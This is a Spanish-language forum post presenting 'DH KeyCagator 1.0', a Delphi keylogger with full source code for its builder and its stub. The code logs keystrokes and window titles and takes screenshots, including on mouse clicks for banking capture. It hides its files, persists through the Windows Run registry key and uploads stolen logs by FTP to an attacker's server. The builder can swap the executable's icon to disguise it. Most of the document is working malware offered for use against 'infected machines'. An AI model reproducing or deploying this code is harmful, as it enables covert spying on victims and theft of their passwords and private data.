Version final de este keylogger con las siguientes opciones :
[+] Captura las teclas minusculas como mayusculas , asi como numeros y las demas teclas
[+] Captura el nombre de la ventana actual
[+] Captura la pantalla
[+] Logs ordenados en un archivo HTML
[+] Se puede elegir el directorio en el que se guardan los Logs
[+] Se envia los logs por FTP
[+] Se oculta los rastros
[+] Se carga cada vez que inicia Windows
[+] Se puede usar shift+F9 para cargar los logs en la maquina infectada
[+] Tambien hice un generador del keylogger que ademas permite ver los logs que estan en el servidor FTP que se usa para el keylogger
Una imagen :
Un video con un ejemplo de uso :
El codigo :
El Generador :
El stub.
Si lo quieren bajar lo pueden hacer de aca.
[+] Captura las teclas minusculas como mayusculas , asi como numeros y las demas teclas
[+] Captura el nombre de la ventana actual
[+] Captura la pantalla
[+] Logs ordenados en un archivo HTML
[+] Se puede elegir el directorio en el que se guardan los Logs
[+] Se envia los logs por FTP
[+] Se oculta los rastros
[+] Se carga cada vez que inicia Windows
[+] Se puede usar shift+F9 para cargar los logs en la maquina infectada
[+] Tambien hice un generador del keylogger que ademas permite ver los logs que estan en el servidor FTP que se usa para el keylogger
Una imagen :
Un video con un ejemplo de uso :
El codigo :
El Generador :
Código:
// DH KeyCagator 1.0
// (C) Doddy Hackman 2014
// Keylogger Generator
// Icon Changer based in : "IconChanger" By Chokstyle
// Thanks to Chokstyle
unit dhkey;
interface
uses
Winapi.Windows, Winapi.Messages, System.SysUtils, System.Variants,
System.Classes, Vcl.Graphics,
Vcl.Controls, Vcl.Forms, Vcl.Dialogs, Vcl.ComCtrls, Vcl.Imaging.jpeg,
Vcl.ExtCtrls, Vcl.StdCtrls, Vcl.Imaging.pngimage, IdBaseComponent,
IdComponent, IdTCPConnection, IdTCPClient, IdExplicitTLSClientServerBase,
IdFTP, ShellApi, MadRes;
type
TForm1 = class(TForm)
Image1: TImage;
StatusBar1: TStatusBar;
PageControl1: TPageControl;
TabSheet1: TTabSheet;
GroupBox1: TGroupBox;
GroupBox2: TGroupBox;
RadioButton1: TRadioButton;
RadioButton2: TRadioButton;
ComboBox1: TComboBox;
Edit2: TEdit;
GroupBox3: TGroupBox;
TabSheet2: TTabSheet;
Edit1: TEdit;
GroupBox4: TGroupBox;
CheckBox1: TCheckBox;
Edit3: TEdit;
Label1: TLabel;
TabSheet3: TTabSheet;
GroupBox5: TGroupBox;
GroupBox6: TGroupBox;
CheckBox2: TCheckBox;
Edit4: TEdit;
Label2: TLabel;
GroupBox7: TGroupBox;
Label3: TLabel;
Edit5: TEdit;
Label4: TLabel;
Edit7: TEdit;
Label5: TLabel;
Edit8: TEdit;
Label6: TLabel;
Edit6: TEdit;
TabSheet4: TTabSheet;
GroupBox8: TGroupBox;
GroupBox9: TGroupBox;
Label7: TLabel;
Edit9: TEdit;
Label8: TLabel;
Edit11: TEdit;
Label9: TLabel;
Edit12: TEdit;
Label10: TLabel;
Edit10: TEdit;
GroupBox10: TGroupBox;
Button1: TButton;
GroupBox12: TGroupBox;
Button2: TButton;
CheckBox3: TCheckBox;
IdFTP1: TIdFTP;
TabSheet6: TTabSheet;
GroupBox11: TGroupBox;
Image2: TImage;
Memo1: TMemo;
OpenDialog1: TOpenDialog;
procedure Button1Click(Sender: TObject);
procedure FormCreate(Sender: TObject);
procedure Button2Click(Sender: TObject);
private
{ Private declarations }
public
{ Public declarations }
end;
var
Form1: TForm1;
implementation
{$R *.dfm}
// Functions
function dhencode(texto, opcion: string): string;
// Thanks to Taqyon
// Based on http://www.vbforums.com/showthread.php?346504-DELPHI-Convert-String-To-Hex
var
num: integer;
aca: string;
cantidad: integer;
begin
num := 0;
Result := '';
aca := '';
cantidad := 0;
if (opcion = 'encode') then
begin
cantidad := length(texto);
for num := 1 to cantidad do
begin
aca := IntToHex(ord(texto[num]), 2);
Result := Result + aca;
end;
end;
if (opcion = 'decode') then
begin
cantidad := length(texto);
for num := 1 to cantidad div 2 do
begin
aca := Char(StrToInt('$' + Copy(texto, (num - 1) * 2 + 1, 2)));
Result := Result + aca;
end;
end;
end;
//
procedure TForm1.Button1Click(Sender: TObject);
var
i: integer;
dir: string;
busqueda: TSearchRec;
begin
IdFTP1.Host := Edit9.Text;
IdFTP1.Username := Edit11.Text;
IdFTP1.Password := Edit12.Text;
dir := ExtractFilePath(ParamStr(0)) + 'read_ftp\';
try
begin
FindFirst(dir + '\*.*', faAnyFile + faReadOnly, busqueda);
DeleteFile(dir + '\' + busqueda.Name);
while FindNext(busqueda) = 0 do
begin
DeleteFile(dir + '\' + busqueda.Name);
end;
FindClose(busqueda);
rmdir(dir);
end;
except
//
end;
if not(DirectoryExists(dir)) then
begin
CreateDir(dir);
end;
ChDir(dir);
try
begin
IdFTP1.Connect;
IdFTP1.ChangeDir(Edit10.Text);
IdFTP1.List('*.*', True);
for i := 0 to IdFTP1.DirectoryListing.Count - 1 do
begin
IdFTP1.Get(IdFTP1.DirectoryListing.Items[i].FileName,
IdFTP1.DirectoryListing.Items[i].FileName, False, False);
end;
ShellExecute(0, nil, PChar(dir + 'logs.html'), nil, nil, SW_SHOWNORMAL);
IdFTP1.Disconnect;
IdFTP1.Free;
end;
except
//
end;
end;
procedure TForm1.Button2Click(Sender: TObject);
var
lineafinal: string;
savein_especial: string;
savein: string;
foldername: string;
bankop: string;
capture_op: string;
capture_seconds: integer;
ftp_op: string;
ftp_seconds: integer;
ftp_host_txt: string;
ftp_user_txt: string;
ftp_pass_txt: string;
ftp_path_txt: string;
aca: THandle;
code: Array [0 .. 9999 + 1] of Char;
nose: DWORD;
stubgenerado: string;
op: string;
change: DWORD;
valor: string;
begin
if (RadioButton1.Checked = True) then
begin
savein_especial := '0';
if (ComboBox1.Items[ComboBox1.ItemIndex] = '') then
begin
savein := 'USERPROFILE';
end
else
begin
savein := ComboBox1.Items[ComboBox1.ItemIndex];
end;
end;
if (RadioButton2.Checked = True) then
begin
savein_especial := '1';
savein := Edit2.Text;
end;
foldername := Edit1.Text;
if (CheckBox1.Checked = True) then
begin
capture_op := '1';
end
else
begin
capture_op := '0';
end;
capture_seconds := StrToInt(Edit3.Text) * 1000;
if (CheckBox2.Checked = True) then
begin
ftp_op := '1';
end
else
begin
ftp_op := '0';
end;
if (CheckBox3.Checked = True) then
begin
bankop := '1';
end
else
begin
bankop := '0';
end;
ftp_seconds := StrToInt(Edit4.Text) * 1000;
ftp_host_txt := Edit5.Text;
ftp_user_txt := Edit7.Text;
ftp_pass_txt := Edit8.Text;
ftp_path_txt := Edit6.Text;
lineafinal := '[63686175]' + dhencode('[opsave]' + savein_especial +
'[opsave]' + '[save]' + savein + '[save]' + '[folder]' + foldername +
'[folder]' + '[capture_op]' + capture_op + '[capture_op]' +
'[capture_seconds]' + IntToStr(capture_seconds) + '[capture_seconds]' +
'[bank]' + bankop + '[bank]' + '[ftp_op]' + ftp_op + '[ftp_op]' +
'[ftp_seconds]' + IntToStr(ftp_seconds) + '[ftp_seconds]' + '[ftp_host]' +
ftp_host_txt + '[ftp_host]' + '[ftp_user]' + ftp_user_txt + '[ftp_user]' +
'[ftp_pass]' + ftp_pass_txt + '[ftp_pass]' + '[ftp_path]' + ftp_path_txt +
'[ftp_path]', 'encode') + '[63686175]';
aca := INVALID_HANDLE_VALUE;
nose := 0;
stubgenerado := 'keycagator_ready.exe';
DeleteFile(stubgenerado);
CopyFile(PChar(ExtractFilePath(Application.ExeName) + '/' +
'Data/keycagator.exe'), PChar(ExtractFilePath(Application.ExeName) + '/' +
stubgenerado), True);
StrCopy(code, PChar(lineafinal));
aca := CreateFile(PChar('keycagator_ready.exe'), GENERIC_WRITE,
FILE_SHARE_READ, nil, OPEN_EXISTING, 0, 0);
if (aca <> INVALID_HANDLE_VALUE) then
begin
SetFilePointer(aca, 0, nil, FILE_END);
WriteFile(aca, code, 9999, nose, nil);
CloseHandle(aca);
end;
op := InputBox('Icon Changer', 'Change Icon ?', 'Yes');
if (op = 'Yes') then
begin
OpenDialog1.InitialDir := GetCurrentDir;
if OpenDialog1.Execute then
begin
try
begin
valor := IntToStr(128);
change := BeginUpdateResourceW
(PWideChar(wideString(ExtractFilePath(Application.ExeName) + '/' +
stubgenerado)), False);
LoadIconGroupResourceW(change, PWideChar(wideString(valor)), 0,
PWideChar(wideString(OpenDialog1.FileName)));
EndUpdateResourceW(change, False);
StatusBar1.Panels[0].Text := '[+] Done ';
StatusBar1.Update;
end;
except
begin
StatusBar1.Panels[0].Text := '[-] Error';
StatusBar1.Update;
end;
end;
end
else
begin
StatusBar1.Panels[0].Text := '[+] Done ';
StatusBar1.Update;
end;
end
else
begin
StatusBar1.Panels[0].Text := '[+] Done ';
StatusBar1.Update;
end;
end;
procedure TForm1.FormCreate(Sender: TObject);
begin
OpenDialog1.InitialDir := GetCurrentDir;
OpenDialog1.Filter := 'ICO|*.ico|';
end;
end.
// The End ?
Código:
// DH KeyCagator 1.0
// (C) Doddy Hackman 2014
program keycagator;
// {$APPTYPE CONSOLE}
uses
SysUtils, Windows, WinInet, ShellApi, Vcl.Graphics, Vcl.Imaging.jpeg;
var
nombrereal: string;
rutareal: string;
yalisto: string;
registro: HKEY;
dir: string;
time: integer;
dir_hide: string;
time_screen: integer;
time_ftp: integer;
ftp_host: Pchar;
ftp_user: Pchar;
ftp_password: Pchar;
ftp_dir: Pchar;
carpeta: string;
directorio: string;
bankop: string;
dir_normal: string;
dir_especial: string;
ftp_online: string;
screen_online: string;
activado: string;
ob: THandle;
code: Array [0 .. 9999 + 1] of Char;
nose: DWORD;
todo: string;
// Functions
function regex(text: String; deaca: String; hastaaca: String): String;
begin
Delete(text, 1, AnsiPos(deaca, text) + Length(deaca) - 1);
SetLength(text, AnsiPos(hastaaca, text) - 1);
Result := text;
end;
function dhencode(texto, opcion: string): string;
// Thanks to Taqyon
// Based on http://www.vbforums.com/showthread.php?346504-DELPHI-Convert-String-To-Hex
var
num: integer;
aca: string;
cantidad: integer;
begin
num := 0;
Result := '';
aca := '';
cantidad := 0;
if (opcion = 'encode') then
begin
cantidad := Length(texto);
for num := 1 to cantidad do
begin
aca := IntToHex(ord(texto[num]), 2);
Result := Result + aca;
end;
end;
if (opcion = 'decode') then
begin
cantidad := Length(texto);
for num := 1 to cantidad div 2 do
begin
aca := Char(StrToInt('$' + Copy(texto, (num - 1) * 2 + 1, 2)));
Result := Result + aca;
end;
end;
end;
procedure savefile(filename, texto: string);
var
ar: TextFile;
begin
try
begin
AssignFile(ar, filename);
FileMode := fmOpenWrite;
if FileExists(filename) then
Append(ar)
else
Rewrite(ar);
Write(ar, texto);
CloseFile(ar);
end;
except
//
end;
end;
procedure upload_ftpfile(host, username, password, filetoupload,
conestenombre: Pchar);
// Credits :
// Based on : http://stackoverflow.com/questions/1380309/why-is-my-program-not-uploading-file-on-remote-ftp-server
// Thanks to Omair Iqbal
var
controluno: HINTERNET;
controldos: HINTERNET;
begin
try
begin
controluno := InternetOpen(0, INTERNET_OPEN_TYPE_PRECONFIG, 0, 0, 0);
controldos := InternetConnect(controluno, host, INTERNET_DEFAULT_FTP_PORT,
username, password, INTERNET_SERVICE_FTP, INTERNET_FLAG_PASSIVE, 0);
ftpPutFile(controldos, filetoupload, conestenombre,
FTP_TRANSFER_TYPE_BINARY, 0);
InternetCloseHandle(controldos);
InternetCloseHandle(controluno);
end
except
//
end;
end;
procedure capturar_pantalla(nombre: string);
// Function capturar() based in :
// http://forum.codecall.net/topic/60613-how-to-capture-screen-with-delphi-code/
// http://delphi.about.com/cs/adptips2001/a/bltip0501_4.htm
// http://stackoverflow.com/questions/21971605/show-mouse-cursor-in-screenshot-with-delphi
// Thanks to Zarko Gajic , Luthfi and Ken White
var
aca: HDC;
tan: TRect;
posnow: TPoint;
imagen1: TBitmap;
imagen2: TJpegImage;
curnow: THandle;
begin
aca := GetWindowDC(GetDesktopWindow);
imagen1 := TBitmap.Create;
GetWindowRect(GetDesktopWindow, tan);
imagen1.Width := tan.Right - tan.Left;
imagen1.Height := tan.Bottom - tan.Top;
BitBlt(imagen1.Canvas.Handle, 0, 0, imagen1.Width, imagen1.Height, aca, 0,
0, SRCCOPY);
GetCursorPos(posnow);
curnow := GetCursor;
DrawIconEx(imagen1.Canvas.Handle, posnow.X, posnow.Y, curnow, 32, 32, 0, 0,
DI_NORMAL);
imagen2 := TJpegImage.Create;
imagen2.Assign(imagen1);
imagen2.CompressionQuality := 60;
imagen2.SaveToFile(nombre);
imagen1.Free;
imagen2.Free;
end;
//
procedure capturar_teclas;
var
I: integer;
Result: Longint;
mayus: integer;
shift: integer;
banknow: string;
const
n_numeros_izquierda: array [1 .. 10] of string = ('48', '49', '50', '51',
'52', '53', '54', '55', '56', '57');
const
t_numeros_izquierda: array [1 .. 10] of string = ('0', '1', '2', '3', '4',
'5', '6', '7', '8', '9');
const
n_numeros_derecha: array [1 .. 10] of string = ('96', '97', '98', '99', '100',
'101', '102', '103', '104', '105');
const
t_numeros_derecha: array [1 .. 10] of string = ('0', '1', '2', '3', '4', '5',
'6', '7', '8', '9');
const
n_shift: array [1 .. 22] of string = ('48', '49', '50', '51', '52', '53',
'54', '55', '56', '57', '187', '188', '189', '190', '191', '192', '193',
'291', '220', '221', '222', '226');
const
t_shift: array [1 .. 22] of string = (')', '!', '@', '#', '\$', '%', '¨', '&',
'*', '(', '+', '<', '_', '>', ':', '\', ' ? ', ' / \ ', '}', '{', '^', '|');
const
n_raros: array [1 .. 17] of string = ('1', '8', '13', '32', '46', '187',
'188', '189', '190', '191', '192', '193', '219', '220', '221',
'222', '226');
const
t_raros: array [1 .. 17] of string = ('[mouse click]', '[backspace]',
'<br>[enter]<br>', '[space]', '[suprimir]', '=', ',', '-', '.', ';', '\',
' / ', ' \ \ \ ', ']', '[', '~', '\/');
begin
while (1 = 1) do
begin
Sleep(time); // Time
try
begin
// Others
for I := Low(n_raros) to High(n_raros) do
begin
Result := GetAsyncKeyState(StrToInt(n_raros[I]));
If Result = -32767 then
begin
savefile('logs.html', t_raros[I]);
if (bankop = '1') then
begin
if (t_raros[I] = '[mouse click]') then
begin
banknow := IntToStr(Random(10000)) + '.jpg';
capturar_pantalla(banknow);
SetFileAttributes(Pchar(dir + '/' + banknow),
FILE_ATTRIBUTE_HIDDEN);
savefile('logs.html', '<br><br><center><img src=' + banknow +
'></center><br><br>');
end;
end;
end;
end;
// SHIFT
if (GetAsyncKeyState(VK_SHIFT) <> 0) then
begin
for I := Low(n_shift) to High(n_shift) do
begin
Result := GetAsyncKeyState(StrToInt(n_shift[I]));
If Result = -32767 then
begin
savefile('logs.html', t_shift[I]);
end;
end;
for I := 65 to 90 do
begin
Result := GetAsyncKeyState(I);
If Result = -32767 then
Begin
savefile('logs.html', Chr(I + 0));
End;
end;
end;
// Numbers
for I := Low(n_numeros_derecha) to High(n_numeros_derecha) do
begin
Result := GetAsyncKeyState(StrToInt(n_numeros_derecha[I]));
If Result = -32767 then
begin
savefile('logs.html', t_numeros_derecha[I]);
end;
end;
for I := Low(n_numeros_izquierda) to High(n_numeros_izquierda) do
begin
Result := GetAsyncKeyState(StrToInt(n_numeros_izquierda[I]));
If Result = -32767 then
begin
savefile('logs.html', t_numeros_izquierda[I]);
end;
end;
// MAYUS
if (GetKeyState(20) = 0) then
begin
mayus := 32;
end
else
begin
mayus := 0;
end;
for I := 65 to 90 do
begin
Result := GetAsyncKeyState(I);
If Result = -32767 then
Begin
savefile('logs.html', Chr(I + mayus));
End;
end;
end;
except
//
end;
end;
end;
procedure capturar_ventanas;
var
ventana1: array [0 .. 255] of Char;
nombre1: string;
Nombre2: string; //
begin
while (1 = 1) do
begin
try
begin
Sleep(time); // Time
GetWindowText(GetForegroundWindow, ventana1, sizeOf(ventana1));
nombre1 := ventana1;
if not(nombre1 = Nombre2) then
begin
Nombre2 := nombre1;
savefile('logs.html', '<hr style=color:#00FF00><h2><center>' + Nombre2
+ '</h2></center><br>');
end;
end;
except
//
end;
end;
end;
procedure capturar_pantallas;
var
generado: string;
begin
while (1 = 1) do
begin
Sleep(time_screen);
generado := IntToStr(Random(10000)) + '.jpg';
try
begin
capturar_pantalla(generado);
end;
except
//
end;
SetFileAttributes(Pchar(dir + '/' + generado), FILE_ATTRIBUTE_HIDDEN);
savefile('logs.html', '<br><br><center><img src=' + generado +
'></center><br><br>');
end;
end;
procedure subirftp;
var
busqueda: TSearchRec;
begin
while (1 = 1) do
begin
try
begin
Sleep(time_ftp);
upload_ftpfile(ftp_host, ftp_user, ftp_password,
Pchar(dir + 'logs.html'), Pchar(ftp_dir + 'logs.html'));
FindFirst(dir + '*.jpg', faAnyFile, busqueda);
upload_ftpfile(ftp_host, ftp_user, ftp_password,
Pchar(dir + busqueda.Name), Pchar(ftp_dir + busqueda.Name));
while FindNext(busqueda) = 0 do
begin
upload_ftpfile(ftp_host, ftp_user, ftp_password,
Pchar(dir + '/' + busqueda.Name), Pchar(ftp_dir + busqueda.Name));
end;
end;
except
//
end;
end;
end;
procedure control;
var
I: integer;
re: Longint;
begin
while (1 = 1) do
begin
try
begin
Sleep(time);
if (GetAsyncKeyState(VK_SHIFT) <> 0) then
begin
re := GetAsyncKeyState(120);
If re = -32767 then
Begin
ShellExecute(0, nil, Pchar(dir + 'logs.html'), nil, nil,
SW_SHOWNORMAL);
End;
end;
end;
except
//
end;
End;
end;
//
begin
try
// Config
try
begin
// Edit
ob := INVALID_HANDLE_VALUE;
code := '';
ob := CreateFile(Pchar(paramstr(0)), GENERIC_READ, FILE_SHARE_READ, nil,
OPEN_EXISTING, 0, 0);
if (ob <> INVALID_HANDLE_VALUE) then
begin
SetFilePointer(ob, -9999, nil, FILE_END);
ReadFile(ob, code, 9999, nose, nil);
CloseHandle(ob);
end;
todo := regex(code, '[63686175]', '[63686175]');
todo := dhencode(todo, 'decode');
dir_especial := Pchar(regex(todo, '[opsave]', '[opsave]'));
directorio := regex(todo, '[save]', '[save]');
carpeta := regex(todo, '[folder]', '[folder]');
bankop := regex(todo, '[bank]', '[bank]');
screen_online := regex(todo, '[capture_op]', '[capture_op]');
time_screen := StrToInt(regex(todo, '[capture_seconds]',
'[capture_seconds]'));
ftp_online := Pchar(regex(todo, '[ftp_op]', '[ftp_op]'));
time_ftp := StrToInt(regex(todo, '[ftp_seconds]', '[ftp_seconds]'));
ftp_host := Pchar(regex(todo, '[ftp_host]', '[ftp_host]'));
ftp_user := Pchar(regex(todo, '[ftp_user]', '[ftp_user]'));
ftp_password := Pchar(regex(todo, '[ftp_pass]', '[ftp_pass]'));
ftp_dir := Pchar(regex(todo, '[ftp_path]', '[ftp_path]'));
dir_normal := dir_especial;
time := 100; // Not Edit
if (dir_normal = '1') then
begin
dir_hide := directorio;
end
else
begin
dir_hide := GetEnvironmentVariable(directorio) + '/';
end;
dir := dir_hide + carpeta + '/';
if not(DirectoryExists(dir)) then
begin
CreateDir(dir);
end;
ChDir(dir);
nombrereal := ExtractFileName(paramstr(0));
rutareal := dir;
yalisto := dir + nombrereal;
MoveFile(Pchar(paramstr(0)), Pchar(yalisto));
SetFileAttributes(Pchar(dir), FILE_ATTRIBUTE_HIDDEN);
SetFileAttributes(Pchar(yalisto), FILE_ATTRIBUTE_HIDDEN);
savefile(dir + '/logs.html', '');
SetFileAttributes(Pchar(dir + '/logs.html'), FILE_ATTRIBUTE_HIDDEN);
savefile('logs.html',
'<style>body {background-color: black;color:#00FF00;cursor:crosshair;}</style>');
RegCreateKeyEx(HKEY_LOCAL_MACHINE,
'Software\Microsoft\Windows\CurrentVersion\Run\', 0, nil,
REG_OPTION_NON_VOLATILE, KEY_WRITE, nil, registro, nil);
RegSetValueEx(registro, 'uberk', 0, REG_SZ, Pchar(yalisto), 666);
RegCloseKey(registro);
end;
except
//
end;
// End
// Start the party
BeginThread(nil, 0, @capturar_teclas, nil, 0, PDWORD(0)^);
BeginThread(nil, 0, @capturar_ventanas, nil, 0, PDWORD(0)^);
if (screen_online = '1') then
begin
BeginThread(nil, 0, @capturar_pantallas, nil, 0, PDWORD(0)^);
end;
if (ftp_online = '1') then
begin
BeginThread(nil, 0, @subirftp, nil, 0, PDWORD(0)^);
end;
BeginThread(nil, 0, @control, nil, 0, PDWORD(0)^);
// Readln;
while (1 = 1) do
Sleep(time);
except
//
end;
end.
// The End ?